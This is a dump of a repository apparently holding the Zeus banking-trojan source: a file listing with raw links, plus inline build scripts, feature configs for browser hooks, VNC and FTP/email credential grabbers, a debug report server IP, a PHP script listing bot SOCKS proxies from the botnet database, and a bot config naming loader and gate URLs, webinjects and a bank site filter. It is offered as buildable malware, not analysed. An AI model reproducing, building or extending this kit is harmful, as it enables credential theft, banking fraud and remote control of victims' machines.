-------------------------------------------------------------------------------- /source/client/winapitables.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/winapitables.h -------------------------------------------------------------------------------- /source/client/windowstation.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/windowstation.h -------------------------------------------------------------------------------- /source/client/wininethook.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/wininethook.cpp -------------------------------------------------------------------------------- /source/client/wininethook.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/wininethook.h -------------------------------------------------------------------------------- /source/common/backconnect.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/backconnect.h -------------------------------------------------------------------------------- /source/common/baseoverlay.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/baseoverlay.h -------------------------------------------------------------------------------- /source/common/binstorage.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/binstorage.cpp -------------------------------------------------------------------------------- /source/common/malwaretools.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/malwaretools.h -------------------------------------------------------------------------------- /source/common/threadsgroup.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/threadsgroup.h -------------------------------------------------------------------------------- /source/common/winsecurity.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/winsecurity.h -------------------------------------------------------------------------------- /source/other/webinjects.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/other/webinjects.txt -------------------------------------------------------------------------------- /temp/bcserver/win32/core.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/bcserver/win32/core.obj -------------------------------------------------------------------------------- /temp/builder/win32/common.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/builder/win32/common.obj -------------------------------------------------------------------------------- /temp/builder/win32/info.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/builder/win32/info.obj -------------------------------------------------------------------------------- /temp/builder/win32/main.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/builder/win32/main.obj -------------------------------------------------------------------------------- /temp/builder/win32/tools.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/builder/win32/tools.obj -------------------------------------------------------------------------------- /temp/client/win32/client.map: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/client.map -------------------------------------------------------------------------------- /temp/client/win32/common.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/common.obj -------------------------------------------------------------------------------- /temp/client/win32/osenv.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/osenv.obj -------------------------------------------------------------------------------- /temp/client/win32/report.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/report.obj -------------------------------------------------------------------------------- /make_default.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | cd make 3 | "..\bin\php\php.exe" -q make.php -b "default" "Hello" 4 | cd .. 5 | -------------------------------------------------------------------------------- /source/client/backconnectbot.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/backconnectbot.h -------------------------------------------------------------------------------- /source/client/certstorehook.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/certstorehook.cpp -------------------------------------------------------------------------------- /source/client/cryptedstrings.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/cryptedstrings.h -------------------------------------------------------------------------------- /source/client/dynamicconfig.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/dynamicconfig.cpp -------------------------------------------------------------------------------- /source/client/remotescript.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/remotescript.cpp -------------------------------------------------------------------------------- /source/client/socks5server.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/socks5server.cpp -------------------------------------------------------------------------------- /source/client/softwaregrabber.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/softwaregrabber.h -------------------------------------------------------------------------------- /source/client/vnc/vncmouse.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/vnc/vncmouse.cpp -------------------------------------------------------------------------------- /source/client/vnc/vncpaint.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/vnc/vncpaint.cpp -------------------------------------------------------------------------------- /source/client/vnc/vncserver.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/vnc/vncserver.cpp -------------------------------------------------------------------------------- /source/client/winapitables.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/winapitables.cpp -------------------------------------------------------------------------------- /temp/bcserver/win32/common.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/bcserver/win32/common.obj -------------------------------------------------------------------------------- /temp/bcserver/win32/listen.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/bcserver/win32/listen.obj -------------------------------------------------------------------------------- /temp/builder/win32/buildbot.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/builder/win32/buildbot.obj -------------------------------------------------------------------------------- /temp/builder/win32/builder.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/builder/win32/builder.obj -------------------------------------------------------------------------------- /temp/builder/win32/settings.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/builder/win32/settings.obj -------------------------------------------------------------------------------- /temp/client/win32/corehook.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/corehook.obj -------------------------------------------------------------------------------- /temp/client/win32/nspr4hook.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/nspr4hook.obj -------------------------------------------------------------------------------- /temp/client/win32/tcpserver.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/tcpserver.obj -------------------------------------------------------------------------------- /temp/client/win32/userhook.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/userhook.obj -------------------------------------------------------------------------------- /temp/client/win32/vncmouse.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/vncmouse.obj -------------------------------------------------------------------------------- /temp/client/win32/vncpaint.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/vncpaint.obj -------------------------------------------------------------------------------- /temp/client/win32/vncserver.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/vncserver.obj -------------------------------------------------------------------------------- /source/builder/resources/main.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/builder/resources/main.ico -------------------------------------------------------------------------------- /source/client/backconnectbot.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/backconnectbot.cpp -------------------------------------------------------------------------------- /source/client/cryptedstrings.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/cryptedstrings.txt -------------------------------------------------------------------------------- /source/client/softwaregrabber.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/softwaregrabber.cpp -------------------------------------------------------------------------------- /source/client/vnc/vnckeyboard.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/vnc/vnckeyboard.cpp -------------------------------------------------------------------------------- /temp/builder/win32/buildconfig.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/builder/win32/buildconfig.obj -------------------------------------------------------------------------------- /temp/builder/win32/languages.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/builder/win32/languages.obj -------------------------------------------------------------------------------- /temp/client/win32/corecontrol.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/corecontrol.obj -------------------------------------------------------------------------------- /temp/client/win32/coreinject.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/coreinject.obj -------------------------------------------------------------------------------- /temp/client/win32/coreinstall.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/coreinstall.obj -------------------------------------------------------------------------------- /temp/client/win32/filesearch.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/filesearch.obj -------------------------------------------------------------------------------- /temp/client/win32/httpgrabber.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/httpgrabber.obj -------------------------------------------------------------------------------- /temp/client/win32/localconfig.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/localconfig.obj -------------------------------------------------------------------------------- /temp/client/win32/remotescript.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/remotescript.obj -------------------------------------------------------------------------------- /temp/client/win32/screenshot.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/screenshot.obj -------------------------------------------------------------------------------- /temp/client/win32/sockethook.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/sockethook.obj -------------------------------------------------------------------------------- /temp/client/win32/socks5server.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/socks5server.obj -------------------------------------------------------------------------------- /temp/client/win32/vnckeyboard.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/vnckeyboard.obj -------------------------------------------------------------------------------- /temp/client/win32/winapitables.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/winapitables.obj -------------------------------------------------------------------------------- /temp/client/win32/wininethook.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/wininethook.obj -------------------------------------------------------------------------------- /geobase/convert_maxmind_country.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/geobase/convert_maxmind_country.php -------------------------------------------------------------------------------- /make_full.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | cd make 3 | "..\bin\php\php.exe" -q make.php -b "full" "warrior buy source" 4 | cd .. 5 | pause -------------------------------------------------------------------------------- /output/server[php]/theme/failed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/output/server[php]/theme/failed.png -------------------------------------------------------------------------------- /source/server[php]/theme/failed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/server[php]/theme/failed.png -------------------------------------------------------------------------------- /temp/client/win32/backconnectbot.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/backconnectbot.obj -------------------------------------------------------------------------------- /temp/client/win32/certstorehook.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/certstorehook.obj -------------------------------------------------------------------------------- /temp/client/win32/cryptedstrings.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/cryptedstrings.obj -------------------------------------------------------------------------------- /temp/client/win32/dynamicconfig.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/dynamicconfig.obj -------------------------------------------------------------------------------- /temp/client/win32/localsettings.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/localsettings.obj -------------------------------------------------------------------------------- /temp/client/win32/windowstation.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/windowstation.obj -------------------------------------------------------------------------------- /output/server[php]/theme/throbber.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/output/server[php]/theme/throbber.gif -------------------------------------------------------------------------------- /source/builder/resources/resources.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/builder/resources/resources.aps -------------------------------------------------------------------------------- /source/server[php]/theme/throbber.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/server[php]/theme/throbber.gif -------------------------------------------------------------------------------- /temp/client/win32/softwaregrabber.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/softwaregrabber.obj -------------------------------------------------------------------------------- /source/builder/resources/main[original].ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/builder/resources/main[original].ico -------------------------------------------------------------------------------- /make/make.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /source/builder/builder.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /source/client/client.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /source/common/common.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /source/bcserver/bcserver.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /source/server[php]/server.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /source/buildtools/buildtools.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /source/bcserver/defines.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define CWA(dll, api) ::api 4 | #define MEM_PERSONAL_HEAP 0 5 | #define MEM_ALLOC_SAFE_BYTES 1 6 | 7 | #include "..\common\config.h" 8 | #include "..\common\defines.h" 9 | -------------------------------------------------------------------------------- /temp/server/php/stats_os.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /temp/server/php/stats_os.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /temp/server/php/sys_info.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/stats_os.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/stats_os.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/sys_info.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/stats_os.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/stats_os.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/sys_info.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /temp/server/php/sys_info.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/sys_info.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/sys_info.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/buildtools/common.cpp: -------------------------------------------------------------------------------- 1 | #include "defines.h" 2 | 3 | #include "..\common\mem.cpp" 4 | #include "..\common\str.cpp" 5 | #include "..\common\cui.cpp" 6 | #include "..\common\console.cpp" 7 | #include "..\common\peimage.cpp" 8 | #include "..\common\fs.cpp" 9 | #include "..\common\crypt.cpp" 10 | -------------------------------------------------------------------------------- /source/buildtools/defines.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define CWA(dll, api) ::api 4 | #define MEM_PERSONAL_HEAP 0 5 | #define MEM_ALLOC_SAFE_BYTES 0 6 | #define PEIMAGE_32 1 7 | #define PEIMAGE_64 1 8 | #define FS_ALLOW_FILEMAPPING 1 9 | 10 | #include "..\common\config.h" 11 | #include "..\common\defines.h" 12 | -------------------------------------------------------------------------------- /source/builder/resources/cuimanifest.xml: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/bcserver/common.cpp: -------------------------------------------------------------------------------- 1 | #include "defines.h" 2 | 3 | #include "..\common\mem.cpp" 4 | #include "..\common\str.cpp" 5 | #include "..\common\crypt.cpp" 6 | #include "..\common\wsocket.cpp" 7 | #include "..\common\threadsgroup.cpp" 8 | #include "..\common\console.cpp" 9 | #include "..\common\cui.cpp" 10 | #include "..\common\math.cpp" 11 | #include "..\common\backconnect.cpp" 12 | 13 | -------------------------------------------------------------------------------- /source/common/disasm.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "disasm.h" 4 | 5 | extern "C" int WINAPI LDE(void *, int); 6 | 7 | void Disasm::init(void) 8 | { 9 | 10 | } 11 | 12 | void Disasm::uninit(void) 13 | { 14 | 15 | } 16 | 17 | DWORD Disasm::_getOpcodeLength(void *pAddress) 18 | { 19 | #if defined _WIN64 20 | return (DWORD)LDE(pAddress, 64); 21 | #else 22 | return (DWORD)LDE(pAddress, 0); 23 | #endif 24 | } 25 | -------------------------------------------------------------------------------- /configs/buildtools/config: -------------------------------------------------------------------------------- 1 | debug = 0 2 | manual = 0 3 | 4 | nspr4 = 0 5 | wininet = 0 6 | software_ftp = 0 7 | software_email = 0 8 | 9 | socket_ftp = 0 10 | socket_pop3 = 0 11 | 12 | vnc = 0 13 | jabber_notifier = 0 14 | 15 | client_platforms = 0 16 | server_platforms = 0 17 | bcserver_platforms = 0 18 | builder_platforms = 0 19 | buildtools_platforms = win64 20 | -------------------------------------------------------------------------------- /configs/debug/config: -------------------------------------------------------------------------------- 1 | debug = 1 2 | manual = 0 3 | 4 | nspr4 = 1 5 | wininet = 1 6 | software_ftp = 1 7 | software_email = 1 8 | 9 | socket_ftp = 1 10 | socket_pop3 = 1 11 | 12 | vnc = 1 13 | jabber_notifier = 1 14 | 15 | client_platforms = win32 16 | server_platforms = php 17 | bcserver_platforms = win32 18 | builder_platforms = win32 19 | buildtools_platforms = 0 20 | -------------------------------------------------------------------------------- /configs/full/config: -------------------------------------------------------------------------------- 1 | debug = 0 2 | manual = 0 3 | 4 | nspr4 = 1 5 | wininet = 1 6 | software_ftp = 1 7 | software_email = 1 8 | 9 | socket_ftp = 1 10 | socket_pop3 = 1 11 | 12 | vnc = 1 13 | jabber_notifier = 1 14 | 15 | client_platforms = win32 16 | server_platforms = php 17 | bcserver_platforms = win32 18 | builder_platforms = win32 19 | buildtools_platforms = 0 20 | -------------------------------------------------------------------------------- /configs/default/config: -------------------------------------------------------------------------------- 1 | debug = 0 2 | manual = 0 3 | 4 | nspr4 = 0 5 | wininet = 0 6 | software_ftp = 1 7 | software_email = 0 8 | 9 | socket_ftp = 0 10 | socket_pop3 = 0 11 | 12 | vnc = 0 13 | jabber_notifier = 0 14 | 15 | client_platforms = win32 16 | server_platforms = php 17 | bcserver_platforms = win32 18 | builder_platforms = win32 19 | buildtools_platforms = 0 20 | -------------------------------------------------------------------------------- /source/builder/resources/guimanifest.xml: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/theme/small.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {SUBTITLE} 6 | 7 | 8 | 9 | {JAVASCRIPT} 10 | 11 | 12 | {BODY} 13 | 14 | -------------------------------------------------------------------------------- /source/server[php]/theme/small.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {SUBTITLE} 6 | 7 | 8 | 9 | {JAVASCRIPT} 10 | 11 | 12 | {BODY} 13 | 14 | -------------------------------------------------------------------------------- /source/other/sockslist.php: -------------------------------------------------------------------------------- 1 | ='.(time() - BOTNET_TIMEOUT)))) 13 | { 14 | die('MySQL error: '.mysql_error()); 15 | } 16 | 17 | while(($m = mysql_fetch_row($r))) 18 | { 19 | echo "{$m[0]} {$m[1]}:{$m[2]}\r\n"; 20 | } 21 | ?> -------------------------------------------------------------------------------- /source/builder/defines.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define CWA(dll, api) ::api 4 | #define MEM_PERSONAL_HEAP 0 5 | #define MEM_ALLOC_SAFE_BYTES 1 6 | #define XLIB_UCL_ONLY_MAX_COMPRESSION 1 7 | #define XLIB_UCL_ENABLE_NRV2B 1 8 | #define XLIB_UCL_ENABLE_NRV2D 0 9 | #define XLIB_UCL_ENABLE_NRV2E 0 10 | #define PEIMAGE_32 1 11 | #define PEIMAGE_64 0 12 | #define XLIB_MSCAB_FCI 1 13 | #define XLIB_MSCAB_FDI 0 14 | #define FS_ALLOW_FILEMAPPING 0 15 | 16 | #include "..\common\config.h" 17 | #include "..\common\defines.h" 18 | -------------------------------------------------------------------------------- /source/client/defines.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define CWA(dll, api) ::api 4 | #define MEM_PERSONAL_HEAP 1 5 | #define MEM_ALLOC_SAFE_BYTES 1 6 | #define XLIB_UCL_ONLY_MAX_COMPRESSION 1 7 | #define XLIB_UCL_ENABLE_NRV2B 1 8 | #define XLIB_UCL_ENABLE_NRV2D 0 9 | #define XLIB_UCL_ENABLE_NRV2E 0 10 | #define XLIB_DEBUG_SERVER_URL "http://195.2.252.140/dserver/report.php " 11 | #define XLIB_DEBUG_SERVER_CRYPTKEY "hello" 12 | #define PEIMAGE_32 1 13 | #define PEIMAGE_64 0 14 | #define XLIB_PECRYPT_LITE 0 15 | #define XLIB_MSCAB_FCI 1 16 | #define XLIB_MSCAB_FDI 0 17 | #define NTDLL_IMPORT 0 18 | #define FS_ALLOW_FILEMAPPING 0 19 | 20 | #include "..\common\config.h" 21 | #include "..\common\defines.h" 22 | -------------------------------------------------------------------------------- /temp/server/php/sys_options.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/sys_options.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/sys_options.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/builder/common.cpp: -------------------------------------------------------------------------------- 1 | #include "defines.h" 2 | 3 | #include "..\common\mem.cpp" 4 | #include "..\common\str.cpp" 5 | #include "..\common\time.cpp" 6 | #include "..\common\ucl.cpp" 7 | #include "..\common\crypt.cpp" 8 | #include "..\common\fs.cpp" 9 | #include "..\common\math.cpp" 10 | #include "..\common\config0.cpp" 11 | #include "..\common\sync.cpp" 12 | #include "..\common\registry.cpp" 13 | #include "..\common\gui.cpp" 14 | #include "..\common\process.cpp" 15 | #include "..\common\winsecurity.cpp" 16 | #include "..\common\peimage.cpp" 17 | #include "..\common\registry.h" 18 | #include "..\common\malwaretools.cpp" 19 | #include "..\common\disasm.cpp" 20 | #include "..\common\binstorage.cpp" 21 | #include "..\common\httpinject.cpp" 22 | #include "..\common\baseoverlay.cpp" 23 | #include "..\common\comlibrary.cpp" 24 | 25 | #if defined SUBSYSTEM_CONSOLE 26 | # include "..\common\console.cpp" 27 | #endif 28 | -------------------------------------------------------------------------------- /temp/server/php/reports_jn.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/reports_jn.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/reports_jn.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /temp/server/php/sys_user.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/sys_user.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/sys_user.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /temp/server/php/sys_user.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/sys_user.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/sys_user.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /temp/server/php/sys_options.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/sys_options.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/sys_options.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /temp/server/php/reports_jn.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/reports_jn.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/reports_jn.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/theme/header.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {TITLE} :: {SUBTITLE} 6 | 7 | 8 | 9 | {JAVASCRIPT} 10 | 11 |
 {TITLE} :: {SUBTITLE}
12 | 13 | 14 | 19 |
-------------------------------------------------------------------------------- /source/server[php]/theme/header.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {TITLE} :: {SUBTITLE} 6 | 7 | 8 | 9 | {JAVASCRIPT} 10 | 11 |
 {TITLE} :: {SUBTITLE}
12 | 13 | 14 | 19 |
-------------------------------------------------------------------------------- /temp/server/php/stats_main.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/stats_main.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/stats_main.lng.en.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/builder/config.txt: -------------------------------------------------------------------------------- 1 | ;Build time: 15:06:54 14.04.2011 GMT 2 | ;Version: 2.0.8.9 3 | 4 | entry "StaticConfig" 5 | ;botnet "btn1" 6 | timer_config 60 1 7 | timer_logs 1 1 8 | timer_stats 20 1 9 | url_config "http://localhost/config.bin" 10 | remove_certs 1 11 | disable_tcpserver 0 12 | encryption_key "incorrect" 13 | end 14 | 15 | entry "DynamicConfig" 16 | url_loader "http://localhost/bot.exe" 17 | url_server "http://localhost/gate.php" 18 | file_webinjects "webinjects.txt" 19 | entry "AdvancedConfigs" 20 | ;"http://advdomain/cfg1.bin" 21 | end 22 | entry "WebFilters" 23 | "!*.microsoft.com/*" 24 | "!http://*myspace.com*" 25 | "https://www.gruposantander.es/*" 26 | "!http://*odnoklassniki.ru/*" 27 | "!http://vkontakte.ru/*" 28 | "@*/login.osmp.ru/*" 29 | "@*/atl.osmp.ru/*" 30 | end 31 | entry "WebDataFilters" 32 | ;"http://mail.rambler.ru/*" "passw;login" 33 | end 34 | entry "WebFakes" 35 | ;"http://www.google.com" "http://www.yahoo.com" "GP" "" "" 36 | end 37 | end 38 | -------------------------------------------------------------------------------- /temp/server/php/stats_main.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/stats_main.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/stats_main.lng.ru.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/common/comlibrary.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "comlibrary.h" 5 | 6 | void ComLibrary::init(void) 7 | { 8 | 9 | } 10 | 11 | void ComLibrary::uninit(void) 12 | { 13 | 14 | } 15 | 16 | bool ComLibrary::_initThread(HRESULT *result) 17 | { 18 | HRESULT hr = CWA(ole32, CoInitializeEx)(NULL, COINIT_APARTMENTTHREADED); 19 | *result = hr; 20 | return (hr == S_OK || hr == S_FALSE || hr == RPC_E_CHANGED_MODE); 21 | } 22 | 23 | void ComLibrary::_uninitThread(HRESULT initResult) 24 | { 25 | if(initResult == S_OK || initResult == S_FALSE)CWA(ole32, 